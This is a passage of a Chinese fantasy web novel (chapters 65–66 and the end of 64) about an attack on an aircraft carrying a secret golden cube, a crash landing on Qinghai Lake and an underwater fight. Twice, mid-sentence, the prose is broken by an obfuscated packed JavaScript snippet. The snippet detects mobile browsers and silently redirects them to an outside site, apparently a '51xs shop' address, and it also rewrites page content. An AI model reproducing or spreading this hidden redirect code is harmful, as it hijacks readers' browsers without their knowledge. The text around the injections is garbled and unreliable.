林北柔暗骂一声,孙和铃居然这么重要的消息都没告诉自己,要么就是孙和铃的上级让她不能泄密,要么就是级别太高了,孙和铃也不知道。 林北柔:“等等,我先捋一下,就是说,行李舱应急机制被触发,地面总部肯定接到了通知,然后指挥官就联络了荀少校,临时告诉他,我们这架飞行器上的物品,是真的,让他务必全力保护物品?宁愿让飞行器整个爆炸,物品毁掉,都不能让物品落入敌方手中?” 孙芮晗不停点头:“对就是这个意思!” 那倒是能解释为啥荀少校突然撇下驾驶舱不管了,任务优先等级相差太大了,如果物品丢了,驾驶舱保住,飞行器保住,也没有了任何意义,起码对最高决策者来说是这样的。 林北柔:“你刚刚说袭击者没有舱内空间传送权限,而行李舱和其他舱之间没有物理通道,所以袭击者只可能是一开始就潜伏在行李舱,等待物品被标记出来,好抢夺物品……那谁让他们一开始有机会潜伏进去呢,组织里出了内奸啊,但这个内奸级别不够高,不知道哪个飞行器上的物品是真的!” 孙芮晗被林北柔一点,才猛然意识到这点,死死瞪大了眼睛。 孙芮晗喃喃说:“但也需要很高的级别,才能知道四架飞行器上有四个特殊物品,其中一个是真的……之前内奸不是被肃清了吗,难道还有内奸没被找出来……” 林北柔:“设立个半虚半实的目标,展开行动,让对手成功阻止你的行动,让对手以为你的行动结束了,其实灯下黑还有漏网之鱼,降低所有人的警惕之后,第二个真正的行动才展开,牺牲黑棋保黑棋,很常见的阴谋,说不定之前肃清那些内奸的高层,本身就是这次真正的内奸。” 她在胜身洲见多了这些套中套路中路,那些一万个心眼子的老怪物终年就这么对付司空晏,被司空晏用实力碾压得灰飞烟灭,在他面前,一切手段都不起作用。 孙芮晗:“那现在怎么办啊!” 林北柔:“……你有什么遗言先说吧,飞机可能要爆炸了。” 孙芮晗眼泪鼻涕瞬间出来了:“呜哇哇啊啊我不想死!你想想办法啊!” 林北柔:“我有什么办法,我又没有去行李舱的权限!” 孙芮晗:“头等舱的袭击者还没现形呢!你起码得逼他们出来吧!不然我们死得不明不白啊!” 林北柔:“看看你周围,头等舱学员全倒了,我一个人有什么用?” 话音刚落,她终于力竭,失去了对伪印的控制,勉强把伪印收回了手里,却不能再催动它,驾驶舱门的缝隙更大了,林北柔目测它撑不过四十秒。 孙芮晗惊呆了:“那魏瑕呢?他一直站那啥都不干科学吗!他是被组织封印了但不是不能打架啊!” 林北柔:“……”还真不能。 等等。 林北柔一念闪过脑海,假如伪印真的是魏瑕本人制造并散播的,拥有司空晏之血的人偶,是能操纵伪印的。 林北柔扭头看向魏瑕人偶,魏瑕人偶无波无澜地和她对视。 林北柔:“来,魏总。” 人偶并不是傀儡,有简单又玄奥的思维应对,就像司空晏本人意识的一个回响,林北柔和司空晏是道侣,是道侣就意味着神交,即元神连通,虽然是很久以前的事了。 林北柔的话,对人偶还是有作用的。 林北柔说:“你试试,把这个玩意控制住,让它把那些黑色的东西全部吸走。” 魏瑕人偶接过了她手中的伪印,用手背支起伪印,就像白雪公主托起小鸟似的,伪印在他手背上自动旋转,光华流转。 无事发生。 孙芮晗的眼神从激动到纳闷。 林北柔:“……” 她万万没想到伪印在魏瑕人偶手中居然毫无反应,还不如林北柔用自己的天赋强行催动。 林北柔刹那意识到了一件事实。 司空晏本人并没有制造过伪印。 有人在泼他的脏水。 “林北柔。” 一道声音响起,就在她背后。 林北柔转过身,看到了不知道什么时候从禁闭室出来的莫衡。 莫衡手里拿着一件东西,林北柔瞳孔骤缩,那是她的随身包,莫衡在她没有注意的时候,早就到了头等舱,还在附近她的位置下找到了她的包。 莫衡从包里拿出一件东西,很小的黑色立方体,那是林北柔被魏瑕杀死的三角面具人尸体上找到的证物,有尸体临死前的记忆,尸体说的话,指向伪印和魏瑕有关。 莫衡:“就知道你会随身携带。” 林北柔伸手:“还给我。” 莫衡:“为什么?你不是答应和我做交易了?” 林北柔:“那个证据是假的,魏瑕没有制造伪印。” 莫衡:“是真是假不重要,重要的是我需要它。” 林北柔:“我反悔了。” 莫衡:“我上次跟你说过,我们这种体质的人下场是什么,我用‘药’控制住了,不用药,比死更可怕的是,是无间地狱,你想去那里吗。” 林北柔想到了甲方说的那些话。 林北柔:“不想,把东西还给我。” 莫衡:“……” 莫衡:“林北柔,你真是特别有意思。” 魏瑕人偶的睫毛微微眨动了一下。 林北柔不耐烦了:“你到底还不还!” 驾驶舱门发出巨响,门上出现几道纵横交错的黑缝,足以让两个人通过,林北柔看到了驾驶舱内的操作台,还有机长和副机长,两个人都十分沉着地坐在座位上,根本没向后看一眼。 林北柔站到驾驶舱门前,警惕万分环顾四周,做好了战斗准备,然而袭击者并没有出现。 难道那些袭击者还真只想拿到那个物品? 林北柔:“机长!副机长!机舱遭到袭击了,你们那边没事吧?” 机长中气十足沉声回答:“没事!你们做你们自己该做的就好,我们还有半小时抵达基地。” 没有袭击者,林北柔走到莫衡面前,朝他伸出手:“给我。” 莫衡看向林北柔和她身后的魏瑕人偶:“他给了你什么更好的条件?” 在莫衡看来,魏瑕还是那个沉默寡言又阴险的死人脸,林北柔临阵反悔,显然是魏瑕干的。 莫衡还不知道魏抒培死了,魏家现在是魏瑕的手下宁西雍在掌权。 林北柔没说话,动手就抢。 莫衡和林北柔交手,不到五招,林北柔眼疾手快把东西抢了回来,一个弹跳蹦跶开,把东西扔给魏瑕人偶:“魏总接着别让他抢了!” 人偶抬手接过东西,放回口袋里,这下伪印和证物都在他身上了。 林北柔盯着莫衡。 莫衡盯着空了的手,又看向林北柔。 不可能是一个普通人的身法,太快了,那种交手的步法和招式,他从来没有见过。 莫衡虚握在腰间,凭空拔出了一把短剑,他有军衔,在飞行器上可以携带附着在元神里的法器。 莫衡:“你刚才操纵伪印,把伪印给魏瑕,现在又抢了证据,证据也给他了,落地后你以为你们能脱身?” 林北柔盯着他的剑:“你不讲武德!” 机身猛烈地倾斜了六十度,林北柔猝不及防摔倒,顺地板朝下滑落了一大段距离,手腕被牢牢拉住,林北柔抬头,魏瑕人偶拉着她,自己完全不受引力影响,很不科学地站在倾斜的地板上,就像站在平地上。 被污染成黑色失去意识的学员们,纷纷滚落到机舱一侧,莫衡攀住一个座位稳住身形。 林北柔:“莫少将!你身为军士不应该去保护机长吗!” 莫衡:“到现在没有袭击者出现,魏瑕是最可疑的,解决了他,自然可以保护机长。” 林北柔:“袭击者明明在行李舱!你去那边啊!哦,你没有权限是吧!谁知道袭击者是不是你同伙!” 莫衡:“……” 轰然一声,好像什么东西爆炸了一样,林北柔耳朵缓慢耳鸣。 林北柔听到了副机长的声音:“不明撞击,左侧引擎失灵。” 强烈的坠落感出现,林北柔明显感觉到飞行器在向下俯冲,魏瑕人偶牢牢地抓住她,林北柔和那双没有灵魂的眼睛对视着,她听到了机长和副机长的对话。 副机长:“右侧引擎失灵,我们失去动力了!” 机长在尝试联络地面,尝试失败,信号一直没有恢复。 机长:“前方是青海湖,准备迫降。” 副机长:“高度不够!滑行距离太短了!降下去是陆地!液压失灵,控制失灵!我们在下坠,无法保持高度!” 机长:“听我指令,那边的三个学员,听得见我吗!” 林北柔大喊:“我在!” 莫衡也看过来:“请说。” 机长:“乘务长失去联系了,我需要你们其中一个去尾舱,手动打开一个红色紧急开关,这可以让我们往前滑行更长时间,等一下飞机会翻转一百八十度,等翻转完成,马上拉下紧急开关!” 林北柔:“我和黑衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591203|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学员去!”魏瑕人偶穿着黑色衣服,莫衡是灰色的。 机长听她提到衣服颜色,这才想起了什么,迅速否决:“不对,你不行,你不是军队人员,那个开关有身份识别!让黑衣服学员去!你们两个,守住驾驶舱门,不能让任何袭击者接近!” 林北柔只好用力环住魏瑕人偶的肩膀,另一只手掏掏掏,把他口袋里的伪印取了出来,好用来对付袭击者,另外一件证物留在他身上,靠近他耳朵叮嘱:“魏总,靠你了!这个东西千万不要丢了!” 魏瑕人偶看了林北柔一眼,把她往旁边拉,好让林北柔攀住一个座位,确认林北柔抓稳了,他松开林北柔,如履平地一样朝后舱过去了。 林北柔发动天赋,勉强稳住了身体,和莫衡一左一右守住了裂开的驾驶舱门,盯着那些软泥一样随着颠簸晃来晃去的黑色人体,防止其中一个突然暴起发动袭击,林北柔还得用余光看着莫衡,防止他那边突然出状况,她现在不信任他。 机长:“老杨,等一下我让你推这个,你就全力推。” 副机长:“是!” 机长:“切换手动控制。” 驾驶舱再度开始倾斜,跟个滚筒洗衣机似的,所有东西纷纷滑落,林北柔听到很远的地方,传来了一声动静,像天边的雷声,特别低沉,带着悠悠的回音,下一秒驾驶舱旋转了一百八十度,舱顶在脚下,地板在头顶,林北柔整个人也倒栽葱一样换了个姿势。 刹那,林北柔感觉到一股力量将飞行器托了一下,肯定是魏瑕人偶把开关打开了。 下坠的势头稍微被止住,林北柔正要松口气,却听到副机长在喊:“行李舱那边的空间锁被打开了!必须有人进去把锁关了,否则就算降落了,机舱也会在水面上爆炸的!” 机长:“只能一个人去,白衣服的,你进来!” 林北柔手一撑,翻身进了驾驶舱,机长摘掉手腕上的手环:“戴上,现在我授权你进入空间通道。” 林北柔抓过手环戴了上去,机长:“你脚下是传送阵,进去。” 传送阵就在舱顶,现在刚好在林北柔脚下,机长和副机长是固定在座位上的,和林北柔不一样,他们两个是倒悬的,还在冷静地控制飞行器,林北柔进去了传送阵。 机长:“不管里面什么情况,左前方有个红色标记,一眼就能看到,标记下面有一道锁,给它旋转一圈!” 林北柔感觉到一股微妙的拉扯力传遍全身,就在进去的刹那,一只手突然抓住了她的手环,和她一起被扯入空间通道。 林北柔身体短暂失重,就像忽然漂浮在真空,瞬间又获得了地心引力,跌在实心舱顶上,另一个人也掉在了她旁边。 飞行器还在倒挂着飞,行李舱空间也是上下颠倒的。 林北柔看也不看就知道是莫衡,她跳起来后撤了好几步,跟他拉开距离,才环顾四周,同时呛咳起来。 到处着火了,火势蔓延很快,军士的呼喊,还有战斗声,灭火器喷出大量白雾,时不时有灵力从火光中射出来,稍微远一点根本看不清人,到处都是翻倒的箱子,箱子上贴着编号,林北柔估计里面就是行李了,她看向左前方,十五步开外,火势很大,火焰背后有个巨大的红色标记,下方就是机长说的空间锁,像个复杂的圆盘,微光闪烁,一看就是法宝,上面有横杠,可以旋转。 有人打开了空间锁,行李舱和其他舱不再独立,行李舱要是爆炸,也会波及其他机舱。 林北柔看向莫衡:“你本来该留下来守卫驾驶舱的。”她隐约猜到了莫衡突然跟过来的原因。 莫衡:“袭击者在这里,你一个人挡得住吗?” 林北柔没时间跟他废话:“不管你想干什么,要是你阻止我,就等于奸细。” 林北柔冲向空间锁,路上热浪滚滚,皮肤都感觉到了火焰的热度,差点被烧着,到了空间锁面前,林北柔握住上面的横栓,直接旋转。 横栓纹丝不动。 机长没说这个拧不动,林北柔还以为这也需要什么身份识别,周围火又烧得邪门,再过两分钟就要烧到这边了。 林北柔仔细观察,发现横栓上闪烁着一道明显是其他人的陌生灵力。 有人在用法力控制空间锁,让它没法锁上。 果然袭击者还是想抢到那件特殊物品,然后再引爆行李舱,炸掉整个飞行器。 林北柔拿出伪印,发动天赋,伪印飚射出黑色液体,落在那道灵力上,沿着灵力轨迹倒返回去,拉成一条极细的黑线,不到两秒,林北柔就听见一声远处一声闷哼。 对方被反噬,像一条绷断的松紧带一样,啪一声灵力就断掉了,林北柔瞬间抓住横栓旋转,空间锁严丝合缝重新锁住,发出钟磬声,林北柔知道没完,为了不让对方又故技重施,她直接把伪印贴在了空间锁上,伪印不断释放出污染,防止任何人灵力靠近。 空气传来微弱振动。 林北柔来不及转身,那是非常迅猛的攻击手段,她在胜身洲练出来的直觉提醒她,对方的攻击落在她身上,她会重伤。 一个人影从火光中出现,好像是凭空从她旁边走出来一样,将林北柔推到空间锁旁边的夹角位置,林北柔看到一道强光从他背后闪过,打在她刚才站的位置,把舱壁都轰得凹了下去。 对方身材高大,和她存在明显的体型差,火光被他的肩背落下的阴影隔绝在外,他朝外望着,好像在看袭击者的方向,都没有停顿就把一个什么扔了出去,林北柔清楚听到一声惨叫。 飞行器就在这时开始旋转,机舱又像滚筒洗衣机一样滚了半圈,林北柔差点飞走,被对方一把捞起,有对方在外面罩着,林北柔只是头晕了一下,飞行器从从倒挂状态转正了回来,对方头盔下黑色软面具掉了下来。 那是一张非常清俊的脸。 相当陌生,和林北柔认识的任何人都不像。 皮肤并不白,是很匀净的浅茶色,被太阳晒出来的,年纪比林北柔想的要年轻一点,听声音她还以为对方三十多,实际上应该最多二十八,眉毛深黑,睫毛浓密,连下睫毛都投下阴影,鼻梁带峰,在跳跃的火光中轮廓起伏,身上波动着灵力,驱散了周围的热浪和火舌,留出一点安全空间。 看得出脸的主人未成年之前应该很清秀漂亮,现在大概二十八到三十二之间,褪去胶原蛋白,骨相浮出,眉眼轮廓更加鲜明,成熟英气。 这张脸没法和司空晏相提并论,也完全不像,甚至也比不上胜身洲其他那些高阶大能。 这是一张凡人的脸。 可能是睫毛长导致瞳孔不能总映出光来,眼神雾蒙蒙的,看不清表情,有种迷之魔头感,不知道为什么,这一点跟阴间祖宗有一点相似。 林北柔忽然产生了一种奇怪的既视,在很久很久以前,在哪个不知名的地方,她见过这张脸。 林北柔回过神,连忙道歉:“荀少校,你们没事吧?!机长让我下来关空间锁的,现在什么情况?” 荀少校:“这个你拿着。” 他把一个东西塞到林北柔手上,林北柔猝不及防接过,重得手往下坠了一点,赶紧稳住,低头一看,是个光滑得蚊子都站不住的黄金立方体,非常重。 林北柔:“这是什么?” 荀少校:“这次托运的特殊物品。” 65. 第 65 章 林北柔这才看清,他左侧脸有很少很小的血点子,左边衣服上也溅了血迹,只不过衣服是黑的,看不出来。 为了抢到这件物品,已经死了人了。 荀少校:“你带着物品,马上传回驾驶舱。” 林北柔:“好……” 荀少校轻轻推了她一下,林北柔沿原路跑了回去,可能是荀少校的灵力,火焰遇到她都退开了,林北柔到了传送阵前,突然想起了什么,脸上出现被雷劈的表情,伪印! 林北柔回头,空间锁上伪印还贴在那,但荀少校不知道,已经离开了原来的位置,正要去支援部下,林北柔喊了一声:“荀少校!” 一个人拿起了空间锁上的伪印,是莫衡。 林北柔:该死的怎么这么该死。 莫衡不知道从哪里找到一把弩箭一样的法器,手臂指向荀少校:“林北柔,把东西放下,你们不了解特殊物品,袭击者可能已经污染了它,你把它带回驾驶舱,机长他们必死无疑。” 林北柔不知道他的话可信度有几分,又不能冒险,停在了原地。 气氛僵持,荀少校非常直白地说:“你打不过我,你太弱了。” 莫衡脸色一下子变了。 他最听不得的就是别人说他弱。 林北柔下了决定,果断回头朝传送阵跑,一枚弩箭擦着她脚尖钉入传送阵,强大灵压扩散开,林北柔站不住蹲在了地上。 莫衡威胁林北柔:“再动一下,就打在你身上。” 尾音还没落下,眼前就出现一个虚影,他只来得及抬手挡了下,手臂上弩箭碎了。 荀少校残影一样和莫衡交手,身手目测逼近人类极限,在林北柔印象里只有司空晏比他快,莫衡被他压制,但却十分难缠,林北柔抱着黄金立方体,勉强爬进传送阵。 机舱突然强烈失重,跟坠机没有区别,林北柔手一歪,没扯到手环,身体滑出了传送阵范围,紧接着飞行器撞到了水面,巨大的撞击力把所有人都弹了起来。 林北柔抬头看到火焰中飞出三个黑影,全都是冲着她来的,他们没有穿学员制服,穿着类似斗篷一样的东西,还戴着面具,明显是一早潜伏在行李舱。 现在要爬回传送阵,已经来不及了。 另一边荀少校瞥见了黑影,他想来救林北柔,却被莫衡拦截。 林北柔抱紧了手中的黄金立方体。 短短一刹那,她在脑海中构想了几种方案。 结果哪种方案都没有用上。 一只毛茸茸的东西蜜袋鼯一样飞到了林北柔怀里,以不可思议的速度和力量,把她撞进了传送阵,就在黑影抓住林北柔头发丝时,她原地连人带东西消失。 林北柔经历了第二轮失重和虚实交替感,下一秒刹那回到驾驶舱。 到处都是血。机长和副机长歪在座位上,身上全是血,致命伤口分布在身体各处,双双殉职。 机长保持着操纵飞行器的姿势,手还握在控制杆上面,飞行器在水面上继续朝前冲,就像被高手打水漂的石子,在水面上擦一下就飘很远,又继续弹出去。 上一分钟还在跟她讲话的活人,下一分钟就成了尸体,林北柔不是第一次经历这种事,但也已经很久没经历这种事,眼前生生有些发黑。 驾驶舱门口,黑色污染物到了失控的地步,争先恐后想涌进门口,宛如无孔不入的虫潮,被守着的魏瑕人偶逼退,林北柔这才发现,机长和副机长下半身被污染成了黑色,再向上他们就会失去自我意识,沦为污染的傀儡,飞行器上所有人都会完蛋,他们选择了自我了结。 如果不是魏瑕人偶,他们早就被侵蚀进元神了,坚持不到飞行器软着陆水面。 魏瑕人偶看到了林北柔,一边抵御疯狂的污染,一边破天荒对林北柔开口了:“开逃生舱,出去,飞行器要下沉了。” 林北柔看向前方,周围全是浩浩荡荡的青海湖湖水,他们降落在了靠近中央的位置,离岸边很远,飞行器浮在水面上,确实在以肉眼可见的速度缓缓下沉。 林北柔肩膀上多了个温暖沉甸甸还动来动去的东西,就是这玩意刚才帮她传送回来的,林北柔抬手摸了摸灰兔的耳朵,灰兔马上抬起脑袋对她手又闻又亲,小鼻子疯狂翕动,激激挠挠的。 林北柔抱紧黄金立方体,像是在自言自语:“乘客舱那些人怎么办。” 孙芮晗,还有其他学员,还有乘务长,荀少校刚刚救了她,还在行李舱阻止袭击者,林北柔在火光中看到了几个军士的遗体,他的部下已经折损了一半。 他们保住了黄金立方体,就为了让她带出来。 机长和副机长也死了。 黄金立方体在手中愈发重得跟座山一样。 魏瑕人偶盯着林北柔手上的黄金立方体:“要爆炸了,倒计时还有六十秒。” 林北柔:“……” 莫衡说的居然是真的。 林北柔:“把它扔出去,外面是水!让它在水里爆炸!” 驾驶舱突然响起滋啦滋啦的信号声,林北柔居然听到了莫衡的声音:“林北柔,他们想毁掉里面的东西,如果东西毁了,他们的目的就达到了。” 林北柔骂了回去:“刚刚你不是说不让我把东西带上去吗!” 对林北柔来说,人命比较重要,她只是个小市民,没有视人命为草芥的大局观,东西毁了就毁了。 莫衡声音断断续续:“刚才,我知道这东西是什么了。” 林北柔:“只剩六十秒不到了!” 莫衡:“魏瑕,你知道那个东西是什么,你知道该怎么做吧。” 短短几句话,时间只剩三十秒不到。 林北柔还没反应过来,手里一空,黄金立方体被魏瑕人偶拿走了,他另一只手抓住林北柔带她走到逃生舱位置,黑色污染受到黄金立方体吸引,又被魏瑕人偶逼退,魏瑕人偶一脚踢开逃生舱门,把旁边的救生衣取下套在了林北柔脖子上,这一系列动作过去,时间只剩二十秒。 魏瑕人偶:“爆炸过后,你来找里面的东西,不要管我。” 他眼睛黑黝黝的,林北柔知道他说的话只是司空晏事先设定好的一种反应程式,就像一串运行的代码,实际上没有灵魂,但她依然没法不和他对视。 乌云破开,高原的天光洒落,在那双点漆一样的墨黑瞳眸中,投下零星闪烁。 恍惚间,物换星移,他们好像回到了胜身洲的云水。 他是司空晏。 她是林北柔。 林北柔脑子里不禁冒出一个念头,真的一点意识残余也没有吗。 魏瑕人偶带着黄金立方体,水上点汀,纵掠了出去,司空晏御空而行的惯用起式,林北柔在胜身洲看了无数遍,刹那激活了一切。 林北柔站在飞行器侧翼上,看着人偶如一片苇叶远去,飘了大约两百米,沉入了水下。 湖面荡开一圈一圈巨大的涟漪,倒计时归零。 巨大的水波鼓起,爆开,涟漪变成激浪,连飞行器都开始在水面晃动,林北柔听到一种不同寻常的动静,好像天地之间,某种东西被惊动了,发出窸窸窣窣的细微声音,如同蜂巢嗡鸣。 水下,远处的山脉,天上,半空中,无处不在。 林北柔的心脏不受控制地揪起,人偶沉下去的水面下,隐约发出闪光,灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591204|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兔在她肩膀上动了动。 林北柔:“小兔子,你其实不是兔子吧,你能游泳吧。” 灰兔跟个玩具一样叽叽了两声,小得几乎听不见。 林北柔:“你待在这,等我回来。” 她发动天赋,一跃入水,破开水面朝爆炸方向潜下去。 水很冷,侵入四肢百骸,冰寒刺骨,林北柔总算知道为啥落海的人很多会死于失温,虽然这是湖水不是海水,肉眼看上去,会让人觉得是海,太大了。 有天赋运转,林北柔发现水下能见度还可以,就是太深了,下面看不到底,真的像在海里,人飘在里面渺小得就像一粒沙,换个有深海恐惧症和巨大恐惧症的,可能已经晕过去了。 林北柔感觉自己游了很久才游过去,光芒越发强烈,一波一波明灭,像海下的幻日。 一个人脸朝上,漂浮在光芒附近,好像一件残次的艺术品,他旁边是一个正在缓缓旋转的黄金立方体,光芒就是从立方体发出的。 爆炸让立方体构造发生了变化,表层凸起了很多方块,隐约能看见里面有一样东西,是这件东西在发光。 魏瑕人偶不知道用了什么办法,缓释了爆炸,没有让里面的物品受损。 林北柔用力蹬水,游到了人偶旁边,看清脸的时候,林北柔呼吸窒住,他的脸被爆炸烧毁了一半,成了半个骷髅,骨头和人类质感不太一样,牙齿暴露在外,眼珠也烧没了,只有左边脸完好,身上也明显有爆炸造成的伤,衣服烧没了一半,露出肩膀和胸口。 左右对比,惊心动魄,人偶已经没了呼吸,也没了心跳,尚存的那只眼睛雾蒙蒙的,看向虚空。 林北柔环住人偶的肩膀,轻轻把他拉近,能看清睫毛的距离,人偶的脸随水波侧转,视线仿佛与她交错,她确信这个画面,这个场景,她经历过。 不是在现世,是在胜身洲,非常久远,她应该还是林北柔,司空晏也曾经像现在这样,死在她眼前,脸被火烧去一半。 林北柔清楚记得,胜身洲三百多年,司空晏从没有受过重伤,轻伤倒是有,不过都是他自己折腾的,没有任何存在能伤到他。 难道是她天赋副作用,把认知都搞乱了。 来不及细想,林北柔游到旁边,手指轻轻一拨,把立方体拨到了手中,一手抓住立方体,一手挽住人偶的胳膊,向上游去。 身后传来动静,像是什么东西破开了。 林北柔回头看了一眼,爆炸位置不远处,水忽然形成一道漩涡,空间撕裂,十多个人从里面游了出来,他们穿着潜水衣,头上戴着潜水镜,脚上戴着蹼,全身黑色,锁定了她,以奇快的速度朝她游来。 其中领头的那个,脖子上有一道宝石镶嵌的项链,上面有一个倒三角型,里面有一只圆形的眼睛,是用整颗黄钻打造的,硕大无比。 林北柔:“!!!”她看也不看,转身就奋力开划。 林北柔听孙和铃说过空间传送的原理,对方不太可能是从境外传送来的,只可能是从飞行器上传送过来的。 行李舱的打斗终结,对方感应到特殊物品被带走,飞行器被破坏,对方于是直接传送到了这边,包围林北柔,想要夺走物品。 对方甚至还秒穿了装备,说明事先算好了一切可能。 下一秒,空间裂隙中,荀少校就钻了出来,满头满脸都是血,两只眼睛都看不见了,仅凭感官,幽灵一样跟在面具人身后,手中反握着一把唐刀制式的武器,刀弧切了出去,将一个面具人斩成两截,血液刹那如烟如缕在水中扩散,像生长的暗红水草。 而两个面具人追上了林北柔,其中一个伸手拉住了她的脚踝。 66. 第 66 章 有完没完。 这是林北柔第一个念头。 另外一个黑衣人用武器勾住了魏瑕人偶的脚踝,把人偶的脚踝割伤了,血液瞬间散入水中,林北柔心头涌出一股无法遏制的激怒。 第二个念头升起。 杀了他们。 这些念头接踵而至,极为自然。 同样爆发出的,是恐怖的天赋操纵。 黑衣人先感觉到视野上了一层蓝紫色滤镜,接着看到了爆发的幻境,洪流一样席卷了他的感知。 黑暗深邃,广大无边,很多线条复杂抽搐的东西,天和地的界限是模糊的,只有时不时反白的微光,让人作呕的,不可思议的存在,美丽又丑陋,天真又邪恶,肆无忌惮挤压进他视野,看清楚的每一秒,心脏都会不受控地挛缩,又不能逃离,他像一只脆弱的小虫子,除了瑟瑟发抖乱动乱挣扎,什么都做不了。 时间不存在,唯一的主宰就是恐怖,恐怖永恒超载。 其他人见同伴忽然间一动不动,静静漂浮在水中,除了还活着,没有别的反应。 戴项链的黑衣人扒开同伴眼皮,发现他眼球在疯狂震颤。 再这样下去,不到半分钟就会精神崩溃,直接疯掉,在疯狂中元神湮灭。 那人摘了项链,按在同伴脖子上,同伴触电一样浑身抖动,旋即软了下来,眼球翻白但不再乱动了。 那人安静看向林北柔,评估她的实力。 无意间释放出一道恐怖的灵力,攻击了对方的底层心识,让对方窥见了阿赖耶识混沌污染,因此僵直了。 初次爆发,力量还不稳定,也没有和灵脉共鸣。 假如境界成熟,同伴极有可能无法被唤醒。 再假如境界抵达最高,同伴连转世机会都没有。 等于直接被罚入无边地狱。 这种级别的攻击力,不需要任何法器当媒介,不论在哪个修行文化,都意味着最高警报拉响,前方注意,公敌来了。 他听说中国境内最高修行者组织用数字给先知预言中的天选者们命名。 据说数字四在中国文化中有些不详,眼前这个人,确实如情报所说,是四号候选。 而他们自有来自境外的古老传承,对这些数字编号拥有者们,另外有专门的称呼,每个都不一样。 四号,伊婪末荼,永恒的迷失和恐怖,先知语录中,会在本次浩劫降临的肃清巨柱之一。 他们内部也存在不同派系,各派系四分五裂,争议很大,有的派系认为,这些肃清巨柱是恶魔本身,也有人认为他们是堕落的神,会在浩劫后飞升,重返无垢乐土。 他不置可否,觉得这些天极力量其实本身是中性的。 伊婪意思是愤怒、嗔怒,也可以指迷失。末荼则是恐怖、恐惧于致命危险的意思。 眼前这个叫林北柔的人,就是传说中的嗔怖君。 幸好这些肃清巨柱,只是冥冥中被天道选择,才持有了来自灵脉的力量,本身也还是凡人,肉身凡胎,会老会死,不然十年前二号也不会被他们成功杀死了。 他只是有些纳闷不解,为什么编号靠前的人,就有三个都在中国境内,难道这片土地,真的是灵气非凡不成。 那些传说,什么女娲补天,不周山,方壶蓬莱,难道都是真的? 学者们推测,灵脉世界对应现实山水,中国是拥有对应灵脉最多山水的国家,沃野万里,看来渗透中国境内最高修行者组织,是个很明智的战略。 林北柔爆发了这一轮,瞬间难受得好像要死了一样,鼻血狂涌。 眼前看不清东西,一手还拖着魏瑕人偶,另一手抱着黄金立方体。 项链黑衣人打了个手势,黑衣人拉开了距离,开始绕到四面八方,形成一个大的包围圈。 林北柔本来就是靠修为才撑了这么久,再不换气要窒息了,她不再管其他的,直直朝上游去,想浮到水面换气,项链黑衣人念了一句法诀,林北柔就像碰到了透明的障壁,怎么也浮不上去,好像被封在了浮冰之下一样。 林北柔一个倒立,拼命用腿去蹬,想把那层透明障壁踢碎。 项链黑衣人明白了,林北柔没力气再爆发出刚才那种恐怖大招了,幸好没有人教过她,导致她对自己的天赋一点都不了解,要是等他们缩小包围圈,每个人离她半米不到,她再忽然发动袭击,说不定可以逃出生天。 项链黑衣人环顾四周,对其他人点头,示意他们展开法阵,将林北柔击晕带走。 角落里少了一个人。 项链黑衣人瞳孔微微一缩,什么时候少了个人? 他瞬间感觉不对,看也不看就按住项链,朝后方发动了攻击。 一股浑浊古老的力量荡了出去,水波千钧,足以碾碎一头鲸鱼,却落空了。 寂静三秒。 接着,他只听到仿佛汝窑开片一样的皴裂之音,轻灵至极。 然后他就看到站在各个位置的同伴们,失去了他们的四肢。 胳膊,腿,刹那和身体分离,就像被看不清的刀气环切而过,断口整齐至极,甚至同伴们都没有意识到自己被切开了。 第二声清冷瓷碎之音响起。 这次是头颅和身躯分离。 血液随波乱舞,瑰丽摇曳,林北柔手中黄金立方体光芒散落,幻日之下,出现了日边红杏倚云栽的奇景。 项链黑衣人意识到论战斗力,他带来的人远远不是对方的对手。 他收起攻势,改为防守,全部力量都用来在周身搭建结界,这一步很及时,因为下一秒刀气就落在了他的结界上,他感觉自己五脏六腑都随之震动。 项链黑衣人看见一个幽灵一样的影子从下面游了上来,像塞壬一样无声迅疾,眼睛一花就看不见了。 但项链黑衣人认出了对方。 是那个戴黑色面具的军士,他在行李舱破坏了他们的计划,也是用同一把刀,杀了其余一半的人。 项链黑衣人当时就对他用了杀招。 他以为他杀死了军士,毕竟项链的破坏力是致命的,没想到军士根本没死,这怎么可能呢? 项链黑衣人来不及想了,或许对方的刀砍上数百上千次,结界真的会碎。 可惜了,那件物品无法带回去了,不过计划也不算失败,至少达成了另外一个目标。 项链黑衣人开了个漩涡裂隙,刹那消失。 林北柔生生体验到了窒息的感觉,大脑缺氧很快让她失去对身体的控制,在晕过去之前,嘴唇被柔软的什么东西压住,然后被撬开,紧接着大量新鲜的空气送了进来,没有呛水,就像平时呼吸一样自然。 林北柔本能地大口大口呼吸,嘴唇却碰到了另一双柔软的嘴唇,她眼前发黑,竭力去看,只看清了一双冷静直白睫毛很长的眼睛,对方又重新把那张黑色面具戴上了,确定林北柔获得了足够多的氧气,对方退开了,示意林北柔跟他往上游。 林北柔发现自己刚才无意间松开手,魏瑕人偶和黄金立方体都飘到旁边了,猛打手势,表示她要去拿东西。 荀少校看了旁边一眼,跟没有阻力似的游了出去,拉住了人偶,把黄金立方体推到林北柔怀里,揽住林北柔的腰,朝上游去。 林北柔就跟坐火箭一样冲出了水面,脸和头发被空气包围,吐了好几口水,把眼睫毛上的水珠眨下去了。 